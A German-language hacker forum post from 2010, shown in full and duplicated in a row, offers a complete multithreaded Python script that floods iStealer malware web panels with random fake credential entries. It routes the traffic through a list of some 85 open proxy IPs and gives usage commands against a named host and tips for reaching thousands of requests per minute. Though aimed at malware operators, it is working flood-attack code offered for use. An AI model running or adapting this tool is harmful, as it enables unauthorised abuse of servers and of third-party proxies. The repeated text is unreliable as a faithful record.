EBFE
20.06.2010, 22:17
Immer mehr elitäre Hacker steigen auf iStealer6 um. Leider hat man als Opcode/ScriptKiddie zu wenig Skillz, um an die PHP Login Daten zu kommen :(
Somit kann die Elite ungestraft ihre Server verteilen (und nicht wie etwa zu früheren Zeiten, wo man die FTP Daten auslesen und dementsprechend ändern und sie ärgern konnte). Um aber trotzdem diesen Leuten den "Spass" etwas zu vermiesen, habe ich ein kleines Script geschrieben:
import urllib, random, sys, time
from threading import Thread
# Konfiguration
# benutzerdefinierte Host/URL Liste:
# urls = ["http://google.com", "http://gmx.de", "weitere eintraege"]
# oder urls = ["http://nur_eine.url"]
urls = None
# benutzerdefinierte Logins:
# logins = ["horst", "detlef", "n0N4m3"]
# oder logins = ["nur_ein_eintrag"]
logins = None
# benutzerdefinierte computernamen
# pc_names = ["horst", "detlef", "msie6]
# oder pc_names = ["nur_ein_name"]
pc_names = None
# wieviele Threads (also gleichzeitige Verbindungen)
# sollen aufgebaut werden:
threads = 10
# wie oft soll der Fortschritt ausgegeben werden (in Sekunden):
update_counter = 10
# interne Variablen
a_z = [chr(x) for x in range(ord('a'),ord('z')+1)]
A_Z = [x.upper() for x in a_z]
chars = list("0123456789._-!^$%&+#?") + A_Z + a_z
counter = 0
shutdown = False
def rand_string(length):
result = []
for i in range(length):
result.append(random.choice(chars))
return urllib.quote("".join(result))
def generate_args():
#beispiel:
#http://fami33.co.cc/index.php?action=add&a=15&u=%64&l=%65&p=%6D&c=%4D
#maximal 18 "Programme", die ueber IDs unterschieden werden
a = random.randrange(0, 18 + 1)
#url
if urls is None:
u = rand_string(random.randrange(3, 255))
else:
u = random.choice(urls)
#login
if logins is None:
l = rand_string(random.randrange(3, 255))
else:
l = random.choice(logins)
#pass
p = rand_string(random.randrange(4, 30))
#computername
if pc_names is None:
c = rand_string(random.randrange(3, 100))
else:
c = random.choice(pc_names)
return 'index.php?' + urllib.urlencode((('action','add'),('a', a), ('u', u),
('l', l), ('p', p), ('c', c)))
def request(url, proxy):
try:
page = urllib.urlopen(url, proxies = proxy)
code, msg_len = page.code, len(page.read())
page.close()
if code != 200:
print("HTTP error:" + str(code))
if len(proxy) > 0:
proxyname = proxy['http']
# suche und loesche Proxyeintrag
if proxyname in proxies:
proxies.remove(proxyname)
print "Remove %s proxy from list" % proxy['http']
# nicht geklappt - proxy wurde wahrscheinlich vom Script um
# http:// ergaenzt - suche nach Eintrag ohne 'http://'
elif proxyname[7:] in proxies:
proxies.remove(proxy['http'][7:])
print "Remove %s proxy from list" % proxy['http']
# fehlermeldungen der Proxys nicht beachten
elif msg_len > 0 and len(proxy) == 0 :
raise Exception("This is not an iStealer webpanel!")
return True
except IOError, err:
return False
def fill_thread():
global counter
while not shutdown:
time.sleep(sleep_time)
if proxies is not None:
proxy = random.choice(proxies)
if not proxy.startswith('http://'):
proxy = 'http://' + proxy
proxy = {"http":proxy}
else:
proxy = {}
if request("%s/%s" % (hostname, generate_args()), proxy):
counter += 1
try:
hostname = sys.argv[1]
sleep_time = int(sys.argv[2])
proxies = None
if len(sys.argv) >= 4:
#format of proxyfile:
#http://www.someproxy.com:port"
with open(sys.argv[3]) as proxyfile:
proxies = [line for line in proxyfile.read().splitlines() if len(line) > 2]
for i in range(threads):
Thread(target = fill_thread).start()
while True:
time.sleep(update_counter)
print "Junk entries inserted:", counter
except KeyboardInterrupt:
print "Junk entries inserted: ", counter
except Exception, ex:
print "Error:", ex
print "usage: noisteal.py http://hostname.xy " + \
"sleep_time_sec [proxy_list_file]"
finally:
shutdown = True
das ist python 2.6 (bei der 3.0 Version müsste man die urllib Aurufe anpassen) und "flooded" die iStealer DB Einträge mit zufälligen Daten :)
Bsp Aufruf in der Konsole:
python noisteal.py http://fami33.co.cc 0Also: das erste Parameter ist die URL,
dann kommt die "Pausenzeit" zwischen Aufrufen (in Sekunden),
optional kann als letzer Parameter noch eine Proxyliste angegeben werden:
python noisteal.py http://fami33.co.cc 0 proxylist.txtwobei die Proxy da drin im Format:
http://www.someproxy.com:port
http://nocheinproxy.com:80stehen sollten.
Edit/Update:
- Bugs bei Proxynutzung beseitigt, Proxycheck hinzugefügt
- Multithreading hinzugefügt.
- "Extended Configuration" kann ganz am Anfang des Scripts vorgenommen werden:
host/url Liste, Benutzernamen- oder PC-Namenliste eintragen.
siehe auch die Kommentare und Beispiele.
Um die maximale "Flood" Geschwindigkeit zu erreichen sollte man die Variable
# wieviele Threads (also gleichzeitige Verbindungen)
# sollen aufgebaut werden:
threads = 10auf einen hohen Wert setzen (~100). Insbesondere wenn man freie HTTP Proxys nutzt (denn diese sind nicht die schnellsten)
paar tausend Einträge in der Minute sollten damit schon möglich sein.
Proxyliste:
160.79.35.27:80
87.234.225.14:3129
93.174.81.194:3128
200.43.89.99:3128
89.189.85.133:80
123.49.33.33:3128
96.2.151.32:8085
208.43.128.233:80
210.185.184.18:3128
60.248.69.179:3128
118.142.56.78:3128
218.75.58.94:8080
171.66.3.181:3124
188.231.34.234:80
200.129.25.14:8080
203.148.84.26:3128
66.66.151.179:8085
218.29.234.50:3128
8.17.170.208:80
41.134.13.66:8080
189.47.200.40:80
110.139.213.215:3128
113.160.16.82:3128
118.98.214.58:3128
200.238.81.39:3128
41.215.34.146:8080
204.114.12.158:80
190.25.151.146:8080
89.189.84.195:80
201.88.74.130:3128
82.31.82.41:8080
208.43.128.235:80
218.248.45.51:8080
69.104.98.157:80
124.164.247.43:3128
219.109.119.117:8080
116.50.175.226:8080
128.112.139.108:3124
70.38.47.93:3128
204.11.152.181:3128
187.5.91.82:8080
98.172.53.197:80
216.226.1.196:8080
62.209.202.19:8080
208.43.128.234:80
222.58.225.181:80
195.158.22.6:8080
68.196.130.209:8085
67.222.139.171:80
125.21.51.53:80
189.10.183.178:3128
189.44.54.76:3128
89.189.84.191:80
189.59.67.58:3128
59.125.29.43:8000
84.54.21.151:8080
125.166.147.38:80
59.78.43.54:8000
200.96.53.7:8080
89.189.85.247:80
59.125.177.4:8080
213.184.196.36:3128
189.11.251.70:8080
187.52.103.197:80
200.253.116.2:3128
114.79.191.60:3128
89.189.84.194:80
189.41.70.159:3128
89.189.85.58:80
200.223.233.62:3128
89.189.85.115:80
200.215.15.34:8080
61.247.35.12:8080
222.124.195.150:3128
75.181.11.58:8085
189.43.42.194:3128
202.138.180.198:80
190.90.163.13:8080
212.117.166.26:8138
200.253.116.4:3128
118.98.215.226:31283
187.52.103.197:8080
58.65.244.14:8080
66.165.229.23:8080
200.146.210.189:3128
Und ja, das Ziel ist eigentlich nur den Leuten einen reinzuwürgen ;)
Testlauf:
http://www.imagebanana.com/img/7owgdtml/thumb/screen1.png (http://www.imagebanana.com/view/7owgdtml/screen1.png)
http://www.imagebanana.com/img/lg502jn9/thumb/screen2.png (http://www.imagebanana.com/view/lg502jn9/screen2.png)
Klar, kann der "1337 H4x0r" die Einträge löschen. Allerdings ist das afaik im Pannel nicht ganz so komfortabel - vor allem wenn man viele Proxys benutzt hat und der damit auch viele Daten aussortieren muss :D
Somit kann die Elite ungestraft ihre Server verteilen (und nicht wie etwa zu früheren Zeiten, wo man die FTP Daten auslesen und dementsprechend ändern und sie ärgern konnte). Um aber trotzdem diesen Leuten den "Spass" etwas zu vermiesen, habe ich ein kleines Script geschrieben:
import urllib, random, sys, time
from threading import Thread
# Konfiguration
# benutzerdefinierte Host/URL Liste:
# urls = ["http://google.com", "http://gmx.de", "weitere eintraege"]
# oder urls = ["http://nur_eine.url"]
urls = None
# benutzerdefinierte Logins:
# logins = ["horst", "detlef", "n0N4m3"]
# oder logins = ["nur_ein_eintrag"]
logins = None
# benutzerdefinierte computernamen
# pc_names = ["horst", "detlef", "msie6]
# oder pc_names = ["nur_ein_name"]
pc_names = None
# wieviele Threads (also gleichzeitige Verbindungen)
# sollen aufgebaut werden:
threads = 10
# wie oft soll der Fortschritt ausgegeben werden (in Sekunden):
update_counter = 10
# interne Variablen
a_z = [chr(x) for x in range(ord('a'),ord('z')+1)]
A_Z = [x.upper() for x in a_z]
chars = list("0123456789._-!^$%&+#?") + A_Z + a_z
counter = 0
shutdown = False
def rand_string(length):
result = []
for i in range(length):
result.append(random.choice(chars))
return urllib.quote("".join(result))
def generate_args():
#beispiel:
#http://fami33.co.cc/index.php?action=add&a=15&u=%64&l=%65&p=%6D&c=%4D
#maximal 18 "Programme", die ueber IDs unterschieden werden
a = random.randrange(0, 18 + 1)
#url
if urls is None:
u = rand_string(random.randrange(3, 255))
else:
u = random.choice(urls)
#login
if logins is None:
l = rand_string(random.randrange(3, 255))
else:
l = random.choice(logins)
#pass
p = rand_string(random.randrange(4, 30))
#computername
if pc_names is None:
c = rand_string(random.randrange(3, 100))
else:
c = random.choice(pc_names)
return 'index.php?' + urllib.urlencode((('action','add'),('a', a), ('u', u),
('l', l), ('p', p), ('c', c)))
def request(url, proxy):
try:
page = urllib.urlopen(url, proxies = proxy)
code, msg_len = page.code, len(page.read())
page.close()
if code != 200:
print("HTTP error:" + str(code))
if len(proxy) > 0:
proxyname = proxy['http']
# suche und loesche Proxyeintrag
if proxyname in proxies:
proxies.remove(proxyname)
print "Remove %s proxy from list" % proxy['http']
# nicht geklappt - proxy wurde wahrscheinlich vom Script um
# http:// ergaenzt - suche nach Eintrag ohne 'http://'
elif proxyname[7:] in proxies:
proxies.remove(proxy['http'][7:])
print "Remove %s proxy from list" % proxy['http']
# fehlermeldungen der Proxys nicht beachten
elif msg_len > 0 and len(proxy) == 0 :
raise Exception("This is not an iStealer webpanel!")
return True
except IOError, err:
return False
def fill_thread():
global counter
while not shutdown:
time.sleep(sleep_time)
if proxies is not None:
proxy = random.choice(proxies)
if not proxy.startswith('http://'):
proxy = 'http://' + proxy
proxy = {"http":proxy}
else:
proxy = {}
if request("%s/%s" % (hostname, generate_args()), proxy):
counter += 1
try:
hostname = sys.argv[1]
sleep_time = int(sys.argv[2])
proxies = None
if len(sys.argv) >= 4:
#format of proxyfile:
#http://www.someproxy.com:port"
with open(sys.argv[3]) as proxyfile:
proxies = [line for line in proxyfile.read().splitlines() if len(line) > 2]
for i in range(threads):
Thread(target = fill_thread).start()
while True:
time.sleep(update_counter)
print "Junk entries inserted:", counter
except KeyboardInterrupt:
print "Junk entries inserted: ", counter
except Exception, ex:
print "Error:", ex
print "usage: noisteal.py http://hostname.xy " + \
"sleep_time_sec [proxy_list_file]"
finally:
shutdown = True
das ist python 2.6 (bei der 3.0 Version müsste man die urllib Aurufe anpassen) und "flooded" die iStealer DB Einträge mit zufälligen Daten :)
Bsp Aufruf in der Konsole:
python noisteal.py http://fami33.co.cc 0Also: das erste Parameter ist die URL,
dann kommt die "Pausenzeit" zwischen Aufrufen (in Sekunden),
optional kann als letzer Parameter noch eine Proxyliste angegeben werden:
python noisteal.py http://fami33.co.cc 0 proxylist.txtwobei die Proxy da drin im Format:
http://www.someproxy.com:port
http://nocheinproxy.com:80stehen sollten.
Edit/Update:
- Bugs bei Proxynutzung beseitigt, Proxycheck hinzugefügt
- Multithreading hinzugefügt.
- "Extended Configuration" kann ganz am Anfang des Scripts vorgenommen werden:
host/url Liste, Benutzernamen- oder PC-Namenliste eintragen.
siehe auch die Kommentare und Beispiele.
Um die maximale "Flood" Geschwindigkeit zu erreichen sollte man die Variable
# wieviele Threads (also gleichzeitige Verbindungen)
# sollen aufgebaut werden:
threads = 10auf einen hohen Wert setzen (~100). Insbesondere wenn man freie HTTP Proxys nutzt (denn diese sind nicht die schnellsten)
paar tausend Einträge in der Minute sollten damit schon möglich sein.
Proxyliste:
160.79.35.27:80
87.234.225.14:3129
93.174.81.194:3128
200.43.89.99:3128
89.189.85.133:80
123.49.33.33:3128
96.2.151.32:8085
208.43.128.233:80
210.185.184.18:3128
60.248.69.179:3128
118.142.56.78:3128
218.75.58.94:8080
171.66.3.181:3124
188.231.34.234:80
200.129.25.14:8080
203.148.84.26:3128
66.66.151.179:8085
218.29.234.50:3128
8.17.170.208:80
41.134.13.66:8080
189.47.200.40:80
110.139.213.215:3128
113.160.16.82:3128
118.98.214.58:3128
200.238.81.39:3128
41.215.34.146:8080
204.114.12.158:80
190.25.151.146:8080
89.189.84.195:80
201.88.74.130:3128
82.31.82.41:8080
208.43.128.235:80
218.248.45.51:8080
69.104.98.157:80
124.164.247.43:3128
219.109.119.117:8080
116.50.175.226:8080
128.112.139.108:3124
70.38.47.93:3128
204.11.152.181:3128
187.5.91.82:8080
98.172.53.197:80
216.226.1.196:8080
62.209.202.19:8080
208.43.128.234:80
222.58.225.181:80
195.158.22.6:8080
68.196.130.209:8085
67.222.139.171:80
125.21.51.53:80
189.10.183.178:3128
189.44.54.76:3128
89.189.84.191:80
189.59.67.58:3128
59.125.29.43:8000
84.54.21.151:8080
125.166.147.38:80
59.78.43.54:8000
200.96.53.7:8080
89.189.85.247:80
59.125.177.4:8080
213.184.196.36:3128
189.11.251.70:8080
187.52.103.197:80
200.253.116.2:3128
114.79.191.60:3128
89.189.84.194:80
189.41.70.159:3128
89.189.85.58:80
200.223.233.62:3128
89.189.85.115:80
200.215.15.34:8080
61.247.35.12:8080
222.124.195.150:3128
75.181.11.58:8085
189.43.42.194:3128
202.138.180.198:80
190.90.163.13:8080
212.117.166.26:8138
200.253.116.4:3128
118.98.215.226:31283
187.52.103.197:8080
58.65.244.14:8080
66.165.229.23:8080
200.146.210.189:3128
Und ja, das Ziel ist eigentlich nur den Leuten einen reinzuwürgen ;)
Testlauf:
http://www.imagebanana.com/img/7owgdtml/thumb/screen1.png (http://www.imagebanana.com/view/7owgdtml/screen1.png)
http://www.imagebanana.com/img/lg502jn9/thumb/screen2.png (http://www.imagebanana.com/view/lg502jn9/screen2.png)
Klar, kann der "1337 H4x0r" die Einträge löschen. Allerdings ist das afaik im Pannel nicht ganz so komfortabel - vor allem wenn man viele Proxys benutzt hat und der damit auch viele Daten aussortieren muss :D